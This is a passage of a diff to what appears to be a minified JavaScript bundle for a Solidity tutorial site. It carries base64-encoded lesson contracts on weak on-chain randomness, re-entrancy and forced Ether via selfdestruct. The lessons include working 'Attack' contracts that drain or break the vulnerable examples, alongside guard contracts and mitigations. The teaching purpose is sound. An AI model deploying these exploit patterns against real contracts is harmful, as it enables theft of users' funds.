AgICAgIGFiaS5lbmNvZGVQYWNrZWQoYmxvY2toYXNoKGJsb2NrLm51bWJlciAtIDEpLCBibG9jay50aW1lc3RhbXApCiAgICAgICAgICAgICkKICAgICAgICApOwoKICAgICAgICBpZiAoX2d1ZXNzID09IGFuc3dlcikgewogICAgICAgICAgICAoYm9vbCBzZW50LCkgPSBtc2cuc2VuZGVyLmNhbGx7dmFsdWU6IDEgZXRoZXJ9KCIiKTsKICAgICAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgICAgICB9CiAgICB9Cn0KCmNvbnRyYWN0IEF0dGFjayB7CiAgICByZWNlaXZlKCkgZXh0ZXJuYWwgcGF5YWJsZSB7fQoKICAgIGZ1bmN0aW9uIGF0dGFjayhHdWVzc1RoZVJhbmRvbU51bWJlciBndWVzc1RoZVJhbmRvbU51bWJlcikgcHVibGljIHsKICAgICAgICB1aW50MjU2IGFuc3dlciA9IHVpbnQyNTYoCiAgICAgICAgICAgIGtlY2NhazI1NigKICAgICAgICAgICAgICAgIGFiaS5lbmNvZGVQYWNrZWQoYmxvY2toYXNoKGJsb2NrLm51bWJlciAtIDEpLCBibG9jay50aW1lc3RhbXApCiAgICAgICAgICAgICkKICAgICAgICApOwoKICAgICAgICBndWVzc1RoZVJhbmRvbU51bWJlci5ndWVzcyhhbnN3ZXIpOwogICAgfQoKICAgIC8vIEhlbHBlciBmdW5jdGlvbiB0byBjaGVjayBiYWxhbmNlCiAgICBmdW5jdGlvbiBnZXRCYWxhbmNlKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICB9Cn0K"}],F0=`

                                  Vulnerability

                                  +`,Y0=({prev:s,next:a})=>r.jsx(A,{version:W0,title:B0,description:G0,html:f0,prev:s,next:a,codes:V0}),X0="0.8.24",v0="Source of Randomness",R0="Blockchain is not a reliable source of randomness in Solidity",N0=[{fileName:"Randomness.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCk5PVEU6IGNhbm5vdCB1c2UgYmxvY2toYXNoIGluIFJlbWl4IHNvIHVzZSBnYW5hY2hlLWNsaQoKbnBtIGkgLWcgZ2FuYWNoZS1jbGkKZ2FuYWNoZS1jbGkKSW4gcmVtaXggc3dpdGNoIGVudmlyb25tZW50IHRvIFdlYjMgcHJvdmlkZXIKKi8KCi8qCkd1ZXNzVGhlUmFuZG9tTnVtYmVyIGlzIGEgZ2FtZSB3aGVyZSB5b3Ugd2luIDEgRXRoZXIgaWYgeW91IGNhbiBndWVzcyB0aGUKcHNldWRvIHJhbmRvbSBudW1iZXIgZ2VuZXJhdGVkIGZyb20gYmxvY2sgaGFzaCBhbmQgdGltZXN0YW1wLgoKQXQgZmlyc3QgZ2xhbmNlLCBpdCBzZWVtcyBpbXBvc3NpYmxlIHRvIGd1ZXNzIHRoZSBjb3JyZWN0IG51bWJlci4KQnV0IGxldCdzIHNlZSBob3cgZWFzeSBpdCBpcyB3aW4uCgoxLiBBbGljZSBkZXBsb3lzIEd1ZXNzVGhlUmFuZG9tTnVtYmVyIHdpdGggMSBFdGhlcgoyLiBFdmUgZGVwbG95cyBBdHRhY2sKMy4gRXZlIGNhbGxzIEF0dGFjay5hdHRhY2soKSBhbmQgd2lucyAxIEV0aGVyCgpXaGF0IGhhcHBlbmVkPwpBdHRhY2sgY29tcHV0ZWQgdGhlIGNvcnJlY3QgYW5zd2VyIGJ5IHNpbXBseSBjb3B5aW5nIHRoZSBjb2RlIHRoYXQgY29tcHV0ZXMgdGhlIHJhbmRvbSBudW1iZXIuCiovCgpjb250cmFjdCBHdWVzc1RoZVJhbmRvbU51bWJlciB7CiAgICBjb25zdHJ1Y3RvcigpIHBheWFibGUge30KCiAgICBmdW5jdGlvbiBndWVzcyh1aW50MjU2IF9ndWVzcykgcHVibGljIHsKICAgICAgICB1aW50MjU2IGFuc3dlciA9IHVpbnQyNTYoCiAgICAgICAgICAgIGtlY2NhazI1NigKICAgICAgICAgICAgICAgIGFiaS5lbmNvZGVQYWNrZWQoYmxvY2toYXNoKGJsb2NrLm51bWJlciAtIDEpLCBibG9jay50aW1lc3RhbXApCiAgICAgICAgICAgICkKICAgICAgICApOwoKICAgICAgICBpZiAoX2d1ZXNzID09IGFuc3dlcikgewogICAgICAgICAgICAoYm9vbCBzZW50LCkgPSBtc2cuc2VuZGVyLmNhbGx7dmFsdWU6IDEgZXRoZXJ9KCIiKTsKICAgICAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgICAgICB9CiAgICB9Cn0KCmNvbnRyYWN0IEF0dGFjayB7CiAgICByZWNlaXZlKCkgZXh0ZXJuYWwgcGF5YWJsZSB7fQoKICAgIGZ1bmN0aW9uIGF0dGFjayhHdWVzc1RoZVJhbmRvbU51bWJlciBndWVzc1RoZVJhbmRvbU51bWJlcikgcHVibGljIHsKICAgICAgICB1aW50MjU2IGFuc3dlciA9IHVpbnQyNTYoCiAgICAgICAgICAgIGtlY2NhazI1NigKICAgICAgICAgICAgICAgIGFiaS5lbmNvZGVQYWNrZWQoYmxvY2toYXNoKGJsb2NrLm51bWJlciAtIDEpLCBibG9jay50aW1lc3RhbXApCiAgICAgICAgICAgICkKICAgICAgICApOwoKICAgICAgICBndWVzc1RoZVJhbmRvbU51bWJlci5ndWVzcyhhbnN3ZXIpOwogICAgfQoKICAgIC8vIEhlbHBlciBmdW5jdGlvbiB0byBjaGVjayBiYWxhbmNlCiAgICBmdW5jdGlvbiBnZXRCYWxhbmNlKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICB9Cn0K"}],H0=`

                                  Vulnerability

                                  blockhash and block.timestamp are not reliable sources for randomness.

                                  // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -10369,7 +10369,7 @@ Attack computed the correct answer by simply copying the code that computes the
 
                                    
 
                                  • Don't use blockhash and block.timestamp as source of randomness
                                    • 
 
                                  
-`,K0=({prev:s,next:a})=>r.jsx(A,{version:R0,title:v0,description:N0,html:F0,prev:s,next:a,codes:H0}),M0="0.8.24",S0="Re-Entrancy",x0="An example of re-entrancy attack in Solidity",J0=[{fileName:"ReEntrancy.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCkV0aGVyU3RvcmUgaXMgYSBjb250cmFjdCB3aGVyZSB5b3UgY2FuIGRlcG9zaXQgYW5kIHdpdGhkcmF3IEVUSC4KVGhpcyBjb250cmFjdCBpcyB2dWxuZXJhYmxlIHRvIHJlLWVudHJhbmN5IGF0dGFjay4KTGV0J3Mgc2VlIHdoeS4KCjEuIERlcGxveSBFdGhlclN0b3JlCjIuIERlcG9zaXQgMSBFdGhlciBlYWNoIGZyb20gQWNjb3VudCAxIChBbGljZSkgYW5kIEFjY291bnQgMiAoQm9iKSBpbnRvIEV0aGVyU3RvcmUKMy4gRGVwbG95IEF0dGFjayB3aXRoIGFkZHJlc3Mgb2YgRXRoZXJTdG9yZQo0LiBDYWxsIEF0dGFjay5hdHRhY2sgc2VuZGluZyAxIGV0aGVyICh1c2luZyBBY2NvdW50IDMgKEV2ZSkpLgogICBZb3Ugd2lsbCBnZXQgMyBFdGhlcnMgYmFjayAoMiBFdGhlciBzdG9sZW4gZnJvbSBBbGljZSBhbmQgQm9iLAogICBwbHVzIDEgRXRoZXIgc2VudCBmcm9tIHRoaXMgY29udHJhY3QpLgoKV2hhdCBoYXBwZW5lZD8KQXR0YWNrIHdhcyBhYmxlIHRvIGNhbGwgRXRoZXJTdG9yZS53aXRoZHJhdyBtdWx0aXBsZSB0aW1lcyBiZWZvcmUKRXRoZXJTdG9yZS53aXRoZHJhdyBmaW5pc2hlZCBleGVjdXRpbmcuCgpIZXJlIGlzIGhvdyB0aGUgZnVuY3Rpb25zIHdlcmUgY2FsbGVkCi0gQXR0YWNrLmF0dGFjawotIEV0aGVyU3RvcmUuZGVwb3NpdAotIEV0aGVyU3RvcmUud2l0aGRyYXcKLSBBdHRhY2sgZmFsbGJhY2sgKHJlY2VpdmVzIDEgRXRoZXIpCi0gRXRoZXJTdG9yZS53aXRoZHJhdwotIEF0dGFjay5mYWxsYmFjayAocmVjZWl2ZXMgMSBFdGhlcikKLSBFdGhlclN0b3JlLndpdGhkcmF3Ci0gQXR0YWNrIGZhbGxiYWNrIChyZWNlaXZlcyAxIEV0aGVyKQoqLwoKY29udHJhY3QgRXRoZXJTdG9yZSB7CiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikgcHVibGljIGJhbGFuY2VzOwoKICAgIGZ1bmN0aW9uIGRlcG9zaXQoKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgYmFsYW5jZXNbbXNnLnNlbmRlcl0gKz0gbXNnLnZhbHVlOwogICAgfQoKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KCkgcHVibGljIHsKICAgICAgICB1aW50MjU2IGJhbCA9IGJhbGFuY2VzW21zZy5zZW5kZXJdOwogICAgICAgIHJlcXVpcmUoYmFsID4gMCk7CgogICAgICAgIChib29sIHNlbnQsKSA9IG1zZy5zZW5kZXIuY2FsbHt2YWx1ZTogYmFsfSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKCiAgICAgICAgYmFsYW5jZXNbbXNnLnNlbmRlcl0gPSAwOwogICAgfQoKICAgIC8vIEhlbHBlciBmdW5jdGlvbiB0byBjaGVjayB0aGUgYmFsYW5jZSBvZiB0aGlzIGNvbnRyYWN0CiAgICBmdW5jdGlvbiBnZXRCYWxhbmNlKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICB9Cn0KCmNvbnRyYWN0IEF0dGFjayB7CiAgICBFdGhlclN0b3JlIHB1YmxpYyBldGhlclN0b3JlOwogICAgdWludDI1NiBwdWJsaWMgY29uc3RhbnQgQU1PVU5UID0gMSBldGhlcjsKCiAgICBjb25zdHJ1Y3RvcihhZGRyZXNzIF9ldGhlclN0b3JlQWRkcmVzcykgewogICAgICAgIGV0aGVyU3RvcmUgPSBFdGhlclN0b3JlKF9ldGhlclN0b3JlQWRkcmVzcyk7CiAgICB9CgogICAgLy8gRmFsbGJhY2sgaXMgY2FsbGVkIHdoZW4gRXRoZXJTdG9yZSBzZW5kcyBFdGhlciB0byB0aGlzIGNvbnRyYWN0LgogICAgZmFsbGJhY2soKSBleHRlcm5hbCBwYXlhYmxlIHsKICAgICAgICBpZiAoYWRkcmVzcyhldGhlclN0b3JlKS5iYWxhbmNlID49IEFNT1VOVCkgewogICAgICAgICAgICBldGhlclN0b3JlLndpdGhkcmF3KCk7CiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIGF0dGFjaygpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIHJlcXVpcmUobXNnLnZhbHVlID49IEFNT1VOVCk7CiAgICAgICAgZXRoZXJTdG9yZS5kZXBvc2l0e3ZhbHVlOiBBTU9VTlR9KCk7CiAgICAgICAgZXRoZXJTdG9yZS53aXRoZHJhdygpOwogICAgfQoKICAgIC8vIEhlbHBlciBmdW5jdGlvbiB0byBjaGVjayB0aGUgYmFsYW5jZSBvZiB0aGlzIGNvbnRyYWN0CiAgICBmdW5jdGlvbiBnZXRCYWxhbmNlKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICB9Cn0K"},{fileName:"ReEntrancyGuard.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFJlRW50cmFuY3lHdWFyZCB7CiAgICBib29sIGludGVybmFsIGxvY2tlZDsKCiAgICBtb2RpZmllciBub1JlZW50cmFudCgpIHsKICAgICAgICByZXF1aXJlKCFsb2NrZWQsICJObyByZS1lbnRyYW5jeSIpOwogICAgICAgIGxvY2tlZCA9IHRydWU7CiAgICAgICAgXzsKICAgICAgICBsb2NrZWQgPSBmYWxzZTsKICAgIH0KfQo="}],z0=`
                                  Vulnerability
                                  
+`,K0=({prev:s,next:a})=>r.jsx(A,{version:X0,title:v0,description:R0,html:H0,prev:s,next:a,codes:N0}),F0="0.8.24",M0="Re-Entrancy",S0="An example of re-entrancy attack in Solidity",x0=[{fileName:"ReEntrancy.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCkV0aGVyU3RvcmUgaXMgYSBjb250cmFjdCB3aGVyZSB5b3UgY2FuIGRlcG9zaXQgYW5kIHdpdGhkcmF3IEVUSC4KVGhpcyBjb250cmFjdCBpcyB2dWxuZXJhYmxlIHRvIHJlLWVudHJhbmN5IGF0dGFjay4KTGV0J3Mgc2VlIHdoeS4KCjEuIERlcGxveSBFdGhlclN0b3JlCjIuIERlcG9zaXQgMSBFdGhlciBlYWNoIGZyb20gQWNjb3VudCAxIChBbGljZSkgYW5kIEFjY291bnQgMiAoQm9iKSBpbnRvIEV0aGVyU3RvcmUKMy4gRGVwbG95IEF0dGFjayB3aXRoIGFkZHJlc3Mgb2YgRXRoZXJTdG9yZQo0LiBDYWxsIEF0dGFjay5hdHRhY2sgc2VuZGluZyAxIGV0aGVyICh1c2luZyBBY2NvdW50IDMgKEV2ZSkpLgogICBZb3Ugd2lsbCBnZXQgMyBFdGhlcnMgYmFjayAoMiBFdGhlciBzdG9sZW4gZnJvbSBBbGljZSBhbmQgQm9iLAogICBwbHVzIDEgRXRoZXIgc2VudCBmcm9tIHRoaXMgY29udHJhY3QpLgoKV2hhdCBoYXBwZW5lZD8KQXR0YWNrIHdhcyBhYmxlIHRvIGNhbGwgRXRoZXJTdG9yZS53aXRoZHJhdyBtdWx0aXBsZSB0aW1lcyBiZWZvcmUKRXRoZXJTdG9yZS53aXRoZHJhdyBmaW5pc2hlZCBleGVjdXRpbmcuCgpIZXJlIGlzIGhvdyB0aGUgZnVuY3Rpb25zIHdlcmUgY2FsbGVkCi0gQXR0YWNrLmF0dGFjawotIEV0aGVyU3RvcmUuZGVwb3NpdAotIEV0aGVyU3RvcmUud2l0aGRyYXcKLSBBdHRhY2sgZmFsbGJhY2sgKHJlY2VpdmVzIDEgRXRoZXIpCi0gRXRoZXJTdG9yZS53aXRoZHJhdwotIEF0dGFjay5mYWxsYmFjayAocmVjZWl2ZXMgMSBFdGhlcikKLSBFdGhlclN0b3JlLndpdGhkcmF3Ci0gQXR0YWNrIGZhbGxiYWNrIChyZWNlaXZlcyAxIEV0aGVyKQoqLwoKY29udHJhY3QgRXRoZXJTdG9yZSB7CiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikgcHVibGljIGJhbGFuY2VzOwoKICAgIGZ1bmN0aW9uIGRlcG9zaXQoKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgYmFsYW5jZXNbbXNnLnNlbmRlcl0gKz0gbXNnLnZhbHVlOwogICAgfQoKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KCkgcHVibGljIHsKICAgICAgICB1aW50MjU2IGJhbCA9IGJhbGFuY2VzW21zZy5zZW5kZXJdOwogICAgICAgIHJlcXVpcmUoYmFsID4gMCk7CgogICAgICAgIChib29sIHNlbnQsKSA9IG1zZy5zZW5kZXIuY2FsbHt2YWx1ZTogYmFsfSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKCiAgICAgICAgYmFsYW5jZXNbbXNnLnNlbmRlcl0gPSAwOwogICAgfQoKICAgIC8vIEhlbHBlciBmdW5jdGlvbiB0byBjaGVjayB0aGUgYmFsYW5jZSBvZiB0aGlzIGNvbnRyYWN0CiAgICBmdW5jdGlvbiBnZXRCYWxhbmNlKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICB9Cn0KCmNvbnRyYWN0IEF0dGFjayB7CiAgICBFdGhlclN0b3JlIHB1YmxpYyBldGhlclN0b3JlOwogICAgdWludDI1NiBwdWJsaWMgY29uc3RhbnQgQU1PVU5UID0gMSBldGhlcjsKCiAgICBjb25zdHJ1Y3RvcihhZGRyZXNzIF9ldGhlclN0b3JlQWRkcmVzcykgewogICAgICAgIGV0aGVyU3RvcmUgPSBFdGhlclN0b3JlKF9ldGhlclN0b3JlQWRkcmVzcyk7CiAgICB9CgogICAgLy8gRmFsbGJhY2sgaXMgY2FsbGVkIHdoZW4gRXRoZXJTdG9yZSBzZW5kcyBFdGhlciB0byB0aGlzIGNvbnRyYWN0LgogICAgZmFsbGJhY2soKSBleHRlcm5hbCBwYXlhYmxlIHsKICAgICAgICBpZiAoYWRkcmVzcyhldGhlclN0b3JlKS5iYWxhbmNlID49IEFNT1VOVCkgewogICAgICAgICAgICBldGhlclN0b3JlLndpdGhkcmF3KCk7CiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIGF0dGFjaygpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIHJlcXVpcmUobXNnLnZhbHVlID49IEFNT1VOVCk7CiAgICAgICAgZXRoZXJTdG9yZS5kZXBvc2l0e3ZhbHVlOiBBTU9VTlR9KCk7CiAgICAgICAgZXRoZXJTdG9yZS53aXRoZHJhdygpOwogICAgfQoKICAgIC8vIEhlbHBlciBmdW5jdGlvbiB0byBjaGVjayB0aGUgYmFsYW5jZSBvZiB0aGlzIGNvbnRyYWN0CiAgICBmdW5jdGlvbiBnZXRCYWxhbmNlKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICB9Cn0K"},{fileName:"ReEntrancyGuard.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFJlRW50cmFuY3lHdWFyZCB7CiAgICBib29sIGludGVybmFsIGxvY2tlZDsKCiAgICBtb2RpZmllciBub1JlZW50cmFudCgpIHsKICAgICAgICByZXF1aXJlKCFsb2NrZWQsICJObyByZS1lbnRyYW5jeSIpOwogICAgICAgIGxvY2tlZCA9IHRydWU7CiAgICAgICAgXzsKICAgICAgICBsb2NrZWQgPSBmYWxzZTsKICAgIH0KfQo="}],J0=`
                                  Vulnerability
                                  
 
                                  Let's say that contract A calls contract B.
                                  
 
                                  Reentracy exploit allows B to call back into A before A finishes execution.
                                  
 
                                  // SPDX-License-Identifier: MIT
@@ -10470,7 +10470,7 @@ Here is how the functions were called
         locked = false;
     }
 }
-
                                  `,D0=({prev:s,next:a})=>r.jsx(A,{version:M0,title:S0,description:x0,html:z0,prev:s,next:a,codes:J0}),E0="0.8.24",Q0="Self Destruct",T0="An example of how to delete your smart contract by calling seldestruct in Solidity",U0=[{fileName:"ForceEther.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIFRoZSBnb2FsIG9mIHRoaXMgZ2FtZSBpcyB0byBiZSB0aGUgN3RoIHBsYXllciB0byBkZXBvc2l0IDEgRXRoZXIuCi8vIFBsYXllcnMgY2FuIGRlcG9zaXQgb25seSAxIEV0aGVyIGF0IGEgdGltZS4KLy8gV2lubmVyIHdpbGwgYmUgYWJsZSB0byB3aXRoZHJhdyBhbGwgRXRoZXIuCgovKgoxLiBEZXBsb3kgRXRoZXJHYW1lCjIuIFBsYXllcnMgKHNheSBBbGljZSBhbmQgQm9iKSBkZWNpZGVzIHRvIHBsYXksIGRlcG9zaXRzIDEgRXRoZXIgZWFjaC4KMi4gRGVwbG95IEF0dGFjayB3aXRoIGFkZHJlc3Mgb2YgRXRoZXJHYW1lCjMuIENhbGwgQXR0YWNrLmF0dGFjayBzZW5kaW5nIDUgZXRoZXIuIFRoaXMgd2lsbCBicmVhayB0aGUgZ2FtZQogICBObyBvbmUgY2FuIGJlY29tZSB0aGUgd2lubmVyLgoKV2hhdCBoYXBwZW5lZD8KQXR0YWNrIGZvcmNlZCB0aGUgYmFsYW5jZSBvZiBFdGhlckdhbWUgdG8gZXF1YWwgNyBldGhlci4KTm93IG5vIG9uZSBjYW4gZGVwb3NpdCBhbmQgdGhlIHdpbm5lciBjYW5ub3QgYmUgc2V0LgoqLwoKY29udHJhY3QgRXRoZXJHYW1lIHsKICAgIHVpbnQyNTYgcHVibGljIHRhcmdldEFtb3VudCA9IDcgZXRoZXI7CiAgICBhZGRyZXNzIHB1YmxpYyB3aW5uZXI7CgogICAgZnVuY3Rpb24gZGVwb3NpdCgpIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICByZXF1aXJlKG1zZy52YWx1ZSA9PSAxIGV0aGVyLCAiWW91IGNhbiBvbmx5IHNlbmQgMSBFdGhlciIpOwoKICAgICAgICB1aW50MjU2IGJhbGFuY2UgPSBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICAgICAgcmVxdWlyZShiYWxhbmNlIDw9IHRhcmdldEFtb3VudCwgIkdhbWUgaXMgb3ZlciIpOwoKICAgICAgICBpZiAoYmFsYW5jZSA9PSB0YXJnZXRBbW91bnQpIHsKICAgICAgICAgICAgd2lubmVyID0gbXNnLnNlbmRlcjsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gY2xhaW1SZXdhcmQoKSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSB3aW5uZXIsICJOb3Qgd2lubmVyIik7CgogICAgICAgIChib29sIHNlbnQsKSA9IG1zZy5zZW5kZXIuY2FsbHt2YWx1ZTogYWRkcmVzcyh0aGlzKS5iYWxhbmNlfSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KfQoKY29udHJhY3QgQXR0YWNrIHsKICAgIEV0aGVyR2FtZSBldGhlckdhbWU7CgogICAgY29uc3RydWN0b3IoRXRoZXJHYW1lIF9ldGhlckdhbWUpIHsKICAgICAgICBldGhlckdhbWUgPSBFdGhlckdhbWUoX2V0aGVyR2FtZSk7CiAgICB9CgogICAgZnVuY3Rpb24gYXR0YWNrKCkgcHVibGljIHBheWFibGUgewogICAgICAgIC8vIFlvdSBjYW4gc2ltcGx5IGJyZWFrIHRoZSBnYW1lIGJ5IHNlbmRpbmcgZXRoZXIgc28gdGhhdAogICAgICAgIC8vIHRoZSBnYW1lIGJhbGFuY2UgPj0gNyBldGhlcgoKICAgICAgICAvLyBjYXN0IGFkZHJlc3MgdG8gcGF5YWJsZQogICAgICAgIGFkZHJlc3MgcGF5YWJsZSBhZGRyID0gcGF5YWJsZShhZGRyZXNzKGV0aGVyR2FtZSkpOwogICAgICAgIHNlbGZkZXN0cnVjdChhZGRyKTsKICAgIH0KfQo="},{fileName:"PreventForceEther.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEV0aGVyR2FtZSB7CiAgICB1aW50MjU2IHB1YmxpYyB0YXJnZXRBbW91bnQgPSAzIGV0aGVyOwogICAgdWludDI1NiBwdWJsaWMgYmFsYW5jZTsKICAgIGFkZHJlc3MgcHVibGljIHdpbm5lcjsKCiAgICBmdW5jdGlvbiBkZXBvc2l0KCkgcHVibGljIHBheWFibGUgewogICAgICAgIHJlcXVpcmUobXNnLnZhbHVlID09IDEgZXRoZXIsICJZb3UgY2FuIG9ubHkgc2VuZCAxIEV0aGVyIik7CgogICAgICAgIGJhbGFuY2UgKz0gbXNnLnZhbHVlOwogICAgICAgIHJlcXVpcmUoYmFsYW5jZSA8PSB0YXJnZXRBbW91bnQsICJHYW1lIGlzIG92ZXIiKTsKCiAgICAgICAgaWYgKGJhbGFuY2UgPT0gdGFyZ2V0QW1vdW50KSB7CiAgICAgICAgICAgIHdpbm5lciA9IG1zZy5zZW5kZXI7CiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIGNsYWltUmV3YXJkKCkgcHVibGljIHsKICAgICAgICByZXF1aXJlKG1zZy5zZW5kZXIgPT0gd2lubmVyLCAiTm90IHdpbm5lciIpOwoKICAgICAgICAoYm9vbCBzZW50LCkgPSBtc2cuc2VuZGVyLmNhbGx7dmFsdWU6IGJhbGFuY2V9KCIiKTsKICAgICAgICByZXF1aXJlKHNlbnQsICJGYWlsZWQgdG8gc2VuZCBFdGhlciIpOwogICAgfQp9Cg=="}],_0=`
                                  Contracts can be deleted from the blockchain by calling selfdestruct.
                                  
+
                                  `,z0=({prev:s,next:a})=>r.jsx(A,{version:F0,title:M0,description:S0,html:J0,prev:s,next:a,codes:x0}),D0="0.8.24",E0="Self Destruct",Q0="An example of how to delete your smart contract by calling seldestruct in Solidity",T0=[{fileName:"ForceEther.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIFRoZSBnb2FsIG9mIHRoaXMgZ2FtZSBpcyB0byBiZSB0aGUgN3RoIHBsYXllciB0byBkZXBvc2l0IDEgRXRoZXIuCi8vIFBsYXllcnMgY2FuIGRlcG9zaXQgb25seSAxIEV0aGVyIGF0IGEgdGltZS4KLy8gV2lubmVyIHdpbGwgYmUgYWJsZSB0byB3aXRoZHJhdyBhbGwgRXRoZXIuCgovKgoxLiBEZXBsb3kgRXRoZXJHYW1lCjIuIFBsYXllcnMgKHNheSBBbGljZSBhbmQgQm9iKSBkZWNpZGVzIHRvIHBsYXksIGRlcG9zaXRzIDEgRXRoZXIgZWFjaC4KMi4gRGVwbG95IEF0dGFjayB3aXRoIGFkZHJlc3Mgb2YgRXRoZXJHYW1lCjMuIENhbGwgQXR0YWNrLmF0dGFjayBzZW5kaW5nIDUgZXRoZXIuIFRoaXMgd2lsbCBicmVhayB0aGUgZ2FtZQogICBObyBvbmUgY2FuIGJlY29tZSB0aGUgd2lubmVyLgoKV2hhdCBoYXBwZW5lZD8KQXR0YWNrIGZvcmNlZCB0aGUgYmFsYW5jZSBvZiBFdGhlckdhbWUgdG8gZXF1YWwgNyBldGhlci4KTm93IG5vIG9uZSBjYW4gZGVwb3NpdCBhbmQgdGhlIHdpbm5lciBjYW5ub3QgYmUgc2V0LgoqLwoKY29udHJhY3QgRXRoZXJHYW1lIHsKICAgIHVpbnQyNTYgcHVibGljIHRhcmdldEFtb3VudCA9IDcgZXRoZXI7CiAgICBhZGRyZXNzIHB1YmxpYyB3aW5uZXI7CgogICAgZnVuY3Rpb24gZGVwb3NpdCgpIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICByZXF1aXJlKG1zZy52YWx1ZSA9PSAxIGV0aGVyLCAiWW91IGNhbiBvbmx5IHNlbmQgMSBFdGhlciIpOwoKICAgICAgICB1aW50MjU2IGJhbGFuY2UgPSBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICAgICAgcmVxdWlyZShiYWxhbmNlIDw9IHRhcmdldEFtb3VudCwgIkdhbWUgaXMgb3ZlciIpOwoKICAgICAgICBpZiAoYmFsYW5jZSA9PSB0YXJnZXRBbW91bnQpIHsKICAgICAgICAgICAgd2lubmVyID0gbXNnLnNlbmRlcjsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gY2xhaW1SZXdhcmQoKSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSB3aW5uZXIsICJOb3Qgd2lubmVyIik7CgogICAgICAgIChib29sIHNlbnQsKSA9IG1zZy5zZW5kZXIuY2FsbHt2YWx1ZTogYWRkcmVzcyh0aGlzKS5iYWxhbmNlfSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KfQoKY29udHJhY3QgQXR0YWNrIHsKICAgIEV0aGVyR2FtZSBldGhlckdhbWU7CgogICAgY29uc3RydWN0b3IoRXRoZXJHYW1lIF9ldGhlckdhbWUpIHsKICAgICAgICBldGhlckdhbWUgPSBFdGhlckdhbWUoX2V0aGVyR2FtZSk7CiAgICB9CgogICAgZnVuY3Rpb24gYXR0YWNrKCkgcHVibGljIHBheWFibGUgewogICAgICAgIC8vIFlvdSBjYW4gc2ltcGx5IGJyZWFrIHRoZSBnYW1lIGJ5IHNlbmRpbmcgZXRoZXIgc28gdGhhdAogICAgICAgIC8vIHRoZSBnYW1lIGJhbGFuY2UgPj0gNyBldGhlcgoKICAgICAgICAvLyBjYXN0IGFkZHJlc3MgdG8gcGF5YWJsZQogICAgICAgIGFkZHJlc3MgcGF5YWJsZSBhZGRyID0gcGF5YWJsZShhZGRyZXNzKGV0aGVyR2FtZSkpOwogICAgICAgIHNlbGZkZXN0cnVjdChhZGRyKTsKICAgIH0KfQo="},{fileName:"PreventForceEther.sol",code:"Ly8gU1BE